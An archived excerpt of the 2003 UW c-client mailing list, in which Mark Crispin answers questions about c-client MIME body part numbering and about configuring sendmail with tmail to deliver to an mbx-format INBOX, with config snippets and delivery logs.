web9807.mail.yahoo.com via HTTP; Fri, 17 Oct 2003 00:56:40 PDT Message-Id: <20031017075640.99317.qmail@web9807.mail.yahoo.com> Date: Fri, 17 Oct 2003 00:56:40 -0700 (PDT) Reply-To: ganga_506@yahoo.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gangadhar Mylapuram To: c-client@u.washington.edu Subject: MIME PARTS MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-2083858513-1066377400=:99017" X-Uwash-Spam: Gauge=XIIIIII, Probability=16%, Report='FROM_ENDS_IN_NUMS, HTML_50_70, SUBJ_ALL_CAPS, __CT, __CTYPE_HAS_BOUNDARY, __CTYPE_MULTIPART_ALT, __EVITE_CTYPE, __HAS_MSGID, __MIME_HTML, __MIME_VERSION, __MSGID_BEFORE_OKAY, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-2083858513-1066377400=:99017 Content-Type: text/plain; charset=us-ascii Hi All, Can any body know, how to give the part number for each body part in MIME formatted Email. Gangadhar --------------------------------- Do you Yahoo!? The New Yahoo! Shopping - with improved product search --0-2083858513-1066377400=:99017 Content-Type: text/html; charset=us-ascii
    Hi All,
     
    Can any body know, how to give the part number for each body part in MIME formatted
    Email.
     
    Gangadhar

    Do you Yahoo!?
    The New Yahoo! Shopping - with improved product search --0-2083858513-1066377400=:99017-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 17 08:55:31 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 08:55:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HFtVlU023840 for ; Fri, 17 Oct 2003 08:55:31 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HFtSqm002591 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 08:55:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HFtKSa005486; Fri, 17 Oct 2003 08:55:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HFsAfc026962 for ; Fri, 17 Oct 2003 08:54:10 -0700 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HFs65J027362 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Oct 2003 08:54:08 -0700 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HFs5DX013519 for ; Fri, 17 Oct 2003 17:54:05 +0200 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HFs5S5029172 for ; Fri, 17 Oct 2003 17:54:05 +0200 Message-Id: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> Date: Fri, 17 Oct 2003 17:54:04 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: c-client@u.washington.edu Subject: tmail/sendmail integration MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=II, Probability=2%, Report='SIGNATURE_LONG_DENSE, __CD, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I wonder if anybody can help me with this. Using imap-2002e I'm trying to=20 setup sendmail with tmail in such a way that an mbx format INBOX will be=20 created automatically if it isn't there. Here's what I've tried. In the new spirit of sendmail I edited an .mc file with the following=20 options: define(`LOCAL_MAILER_PATH', `/opt/UW-imap/sbin/tmail') define(`LOCAL_MAILER_ARGS',`tmail -I "#driver.mbx/INBOX" $u') MODIFY_MAILER_FLAGS(`LOCAL', `-Sh9f') MODIFY_MAILER_FLAGS(`LOCAL', `+r') This results in the following Mlocal declaration: Mlocal, P=3D/opt/UW-imap/sbin/tmail, F=3DlsDFMAw5:/|@qPnr,=20 S=3DEnvFromL/HdrFromL, R=3DEnvToL/HdrToL, C=3DISO-8859-15, T=3DDNS/RFC822/X-Unix, A=3Dtmail -I "#driver.mbx/INBOX" $u Note the -I flag passed to tmail! When I try to deliver mail this way, I=20 always get the error "missing argument to -I". Here's some debugging output = from sendmail: openmailer: MCI@80fd480: flags=3D0, errno=3D104, herrno=3D0, exitstat=3D75, state=3D0, pid=3D22971, maxsize=3D0, phase=3Dclient greeting, mailer=3Dlocal, status=3D4.4.2, rstatus=3DNULL, host=3DNULL, lastuse=3DFri Oct 17 17:30:14 2003 The only way I've found to deliver to an mbx format INBOX is to change the=20 declaration to define(`LOCAL_MAILER_ARGS',`tmail $u') and to create the INBOX in advance. Is that really how it is or have I overlooked anything? Thanks, Sebastian --=20 Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 17 09:55:37 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 09:55:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HGtalU026536 for ; Fri, 17 Oct 2003 09:55:36 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HGtZOA023141 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 09:55:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HGtSSa024402; Fri, 17 Oct 2003 09:55:28 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HGsBfc074068 for ; Fri, 17 Oct 2003 09:54:11 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HGsAQQ023440 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Oct 2003 09:54:10 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HGrtMk023360; Fri, 17 Oct 2003 09:53:56 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HGrtTT022995; Fri, 17 Oct 2003 09:53:55 -0700 Message-Id: Date: Fri, 17 Oct 2003 09:53:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: Re: tmail/sendmail integration In-Reply-To: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> References: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Oct 2003, Sebastian Hagedorn wrote: > Mlocal, P=/opt/UW-imap/sbin/tmail, F=lsDFMAw5:/|@qPnr, > S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, > C=ISO-8859-15, T=DNS/RFC822/X-Unix, > A=tmail -I "#driver.mbx/INBOX" $u Why not just build c-client with CREATEPROTO=mbxdriver instead of the default CREATEPROTO=unixdriver? Then tmail (and anything else using c-client) will always create mailboxes in mbx format by default, and you don't have to worry about getting -I set right. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 17 10:22:14 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 10:22:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHMDlU027626 for ; Fri, 17 Oct 2003 10:22:13 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHMBqm005775 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 10:22:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HHM5vE018004; Fri, 17 Oct 2003 10:22:05 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHL7fc031802 for ; Fri, 17 Oct 2003 10:21:07 -0700 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHL4pX024508 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Oct 2003 10:21:05 -0700 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HHKwDX029858; Fri, 17 Oct 2003 19:20:59 +0200 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HHKwS5011484; Fri, 17 Oct 2003 19:20:58 +0200 Message-Id: <2147483647.1066418458@tyrion.rrz.uni-koeln.de> Date: Fri, 17 Oct 2003 19:20:58 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: tmail/sendmail integration In-Reply-To: References: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=III, Probability=3%, Report='IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CD, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, --On Freitag, 17. Oktober 2003 9:53 Uhr -0700 Mark Crispin=20 wrote: > On Fri, 17 Oct 2003, Sebastian Hagedorn wrote: >> Mlocal, P=3D/opt/UW-imap/sbin/tmail, F=3DlsDFMAw5:/|@qPnr, >> S=3DEnvFromL/HdrFromL, R=3DEnvToL/HdrToL, >> C=3DISO-8859-15, T=3DDNS/RFC822/X-Unix, >> A=3Dtmail -I "#driver.mbx/INBOX" $u > > Why not just build c-client with CREATEPROTO=3Dmbxdriver instead of the > default CREATEPROTO=3Dunixdriver? because unfortunately that doesn't work: Oct 17 19:16:50 kerberos sendmail[23152]: h9HHGmx23152: from=3Droot, = size=3D10,=20 class=3D0, nrcpts=3D1, msg id=3D<200310171716.h9HHGmx23152@kerberos.spinfo.uni-koeln.de>,=20 relay=3Droot@localhost Oct 17 19:16:50 kerberos tmail[23156]: tmail called with LF-only newlines Oct 17 19:16:50 kerberos tmail[23156]: delivering to hgd+INBOX Oct 17 19:16:50 kerberos tmail[23156]: Verifying safe delivery to=20 /var/spool/mail/hgd by UID 20022 Oct 17 19:16:50 kerberos tmail[23156]: unix appending to INBOX (file=20 /var/spool/mail/hgd) Oct 17 19:16:50 kerberos tmail[23156]: delivered to /var/spool/mail/hgd Oct 17 19:16:50 kerberos tmail[23156]: Verifying safe delivery to=20 /var/spool/mail/hgd by UID 20022 Oct 17 19:16:50 kerberos tmail[23156]: all recipients delivered Oct 17 19:16:50 kerberos sendmail[23155]: h9HHGmx23152: to=3Dhgd,=20 ctladdr=3Droot (0/0), delay=3D00:00:02 , xdelay=3D00:00:00, mailer=3Dlocal, pri=3D30010, dsn=3D2.0.0, stat=3DSent > Then tmail (and anything else using c-client) will always create = mailboxes > in mbx format by default, and you don't have to worry about getting -I = set > right. I wish ... --=20 Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Fri Oct 17 10:42:19 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 10:42:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHgJlU028613 for ; Fri, 17 Oct 2003 10:42:19 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHgHqm006483 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 10:42:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HHg9xs029396; Fri, 17 Oct 2003 10:42:10 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHfBfc031804 for ; Fri, 17 Oct 2003 10:41:11 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHfAQQ006801 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Oct 2003 10:41:10 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHetaZ024213; Fri, 17 Oct 2003 10:40:55 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHettw025797; Fri, 17 Oct 2003 10:40:55 -0700 Message-Id: Date: Fri, 17 Oct 2003 10:40:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: Re: tmail/sendmail integration In-Reply-To: <2147483647.1066418458@tyrion.rrz.uni-koeln.de> References: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Oct 2003, Sebastian Hagedorn wrote: > > Why not just build c-client with CREATEPROTO=mbxdriver instead of the > > default CREATEPROTO=unixdriver? > because unfortunately that doesn't work: > Oct 17 19:16:50 kerberos tmail[23156]: tmail called with LF-only newlines ;; This is something that you need to fix. Are you setting E=\r\n? > Oct 17 19:16:50 kerberos tmail[23156]: Verifying safe delivery to > /var/spool/mail/hgd by UID 20022 That's because a /var/spool/mail/hgd traditional UNIX format INBOX exists. tmail won't create an INBOX if there already is an existing one. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 17 10:52:18 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 10:52:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHqHlU029324 for ; Fri, 17 Oct 2003 10:52:17 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHqFqm006936 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 10:52:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HHqAvE019232; Fri, 17 Oct 2003 10:52:10 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHpXfc068744 for ; Fri, 17 Oct 2003 10:51:33 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHpVbn015238 for ; Fri, 17 Oct 2003 10:51:32 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHpUaZ026140; Fri, 17 Oct 2003 10:51:30 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HHpUbp028297; Fri, 17 Oct 2003 10:51:30 -0700 Message-Id: Date: Fri, 17 Oct 2003 10:51:30 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Gangadhar Mylapuram Cc: c-client@u.washington.edu Subject: Re: MIME PARTS In-Reply-To: <20031017075640.99317.qmail@web9807.mail.yahoo.com> References: <20031017075640.99317.qmail@web9807.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Oct 2003, Gangadhar Mylapuram wrote: > Can any body know, how to give the part number for each body part in MIME formatted > Email. c-client body part numbers are similar to IMAP (RFC 3501); however, in c-client only the all-numeric forms are permitted (e.g. something like 4.3, 8, 7.9.12, etc.). In other words, you have to use the specific c-client fetching functions rather than such IMAP fields as 3.5.TEXT, 4.HEADER, 8.MIME, etc. So, your next step is to refer to read RFC 3501. Also, look at the mtest program; there's a nice recursive routine in there that builds part numbers from a BODY structure. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 17 11:04:16 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 11:04:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HI4GlU029763 for ; Fri, 17 Oct 2003 11:04:16 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HI4Dqm007312 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 11:04:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HI46vE029074; Fri, 17 Oct 2003 11:04:06 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HI3Gfc052314 for ; Fri, 17 Oct 2003 11:03:16 -0700 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.uni-koeln.de [134.95.19.53]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HI3CFY027719 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Oct 2003 11:03:14 -0700 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HI38DX004575; Fri, 17 Oct 2003 20:03:08 +0200 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HI38S5018893; Fri, 17 Oct 2003 20:03:08 +0200 Message-Id: <2147483647.1066420988@tyrion.rrz.uni-koeln.de> Date: Fri, 17 Oct 2003 20:03:08 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: tmail/sendmail integration In-Reply-To: References: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=III, Probability=3%, Report='IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CD, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, --On Freitag, 17. Oktober 2003 10:40 Uhr -0700 Mark Crispin=20 wrote: > On Fri, 17 Oct 2003, Sebastian Hagedorn wrote: >> > Why not just build c-client with CREATEPROTO=3Dmbxdriver instead of = the >> > default CREATEPROTO=3Dunixdriver? >> because unfortunately that doesn't work: >> Oct 17 19:16:50 kerberos tmail[23156]: tmail called with LF-only = newlines > > ;; This is something that you need to fix. Are you setting E=3D\r\n? oops, no, I didn't. I fixed that, but it was hard to do (you can't use the=20 m4 macros) and the current, third edition of the bat book has this to say=20 on pg. 729: "Delivery agents that do not speak SMTP (those that include a $u in the = A=3D=20 argument array) should have their end-of-line field set to E=3D\n (for a = lone=20 line-feed character)." That's not an RFC, but you might want to consider changing that = requirement. >> Oct 17 19:16:50 kerberos tmail[23156]: Verifying safe delivery to >> /var/spool/mail/hgd by UID 20022 > > That's because a /var/spool/mail/hgd traditional UNIX format INBOX = exists. > tmail won't create an INBOX if there already is an existing one. Oh, I see. But that only leads to the next problem: Oct 17 19:53:10 kerberos sendmail[23300]: h9HHr8J23300: from=3Droot, = size=3D10,=20 class=3D0, nrcpts=3D1,=20 msgid=3D<200310171753.h9HHr8J23300@kerberos.spinfo.uni-koeln.de>,=20 relay=3Droot@localhost Oct 17 19:53:10 kerberos tmail[23304]: delivering to hgd+INBOX Oct 17 19:53:10 kerberos tmail[23304]: attempting to create mailbox=20 #driver.mbx/INBOX path /home/hgd/mail/INBOX Oct 17 19:53:10 kerberos tmail[23304]: Can't create /home/hgd/mail/INBOX:=20 invalid name Oct 17 19:53:10 kerberos tmail[23304]: can't create INBOX Oct 17 19:53:10 kerberos tmail[23304]: error in delivery Oct 17 19:53:10 kerberos sendmail[23303]: h9HHr8J23300: to=3Dhgd,=20 ctladdr=3Droot (0/0), delay=3D00:00:02, xdelay=3D00:00:00, mailer=3Dlocal,=20 pri=3D30010, dsn=3D4.0.0, stat=3DDeferred: local mailer = (/opt/UW-imap/sbin/tmail)=20 exited with EX_TEMPFAIL I should explain that I set static char *mailsubdir =3D "mail"; in env_unix.c, but that's not the issue, is it? /home/hgd/mail does exist,=20 btw. The error is the same if I remove it. Thanks, Sebastian --=20 Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Fri Oct 17 11:24:02 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 11:24:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIO2lU030631 for ; Fri, 17 Oct 2003 11:24:02 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIO0qm008110 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 11:24:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HINtSa015882; Fri, 17 Oct 2003 11:23:56 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIN6fc020616 for ; Fri, 17 Oct 2003 11:23:07 -0700 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIN2pX011770 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 11:23:03 -0700 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HIMvDX025851; Fri, 17 Oct 2003 20:22:57 +0200 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HIMvS5021875; Fri, 17 Oct 2003 20:22:57 +0200 Message-Id: <2147483647.1066422176@tyrion.rrz.uni-koeln.de> Date: Fri, 17 Oct 2003 20:22:56 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Steve Hubert Cc: Mark Crispin , c-client@u.washington.edu Subject: Re: tmail/sendmail integration In-Reply-To: References: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: text/plain; 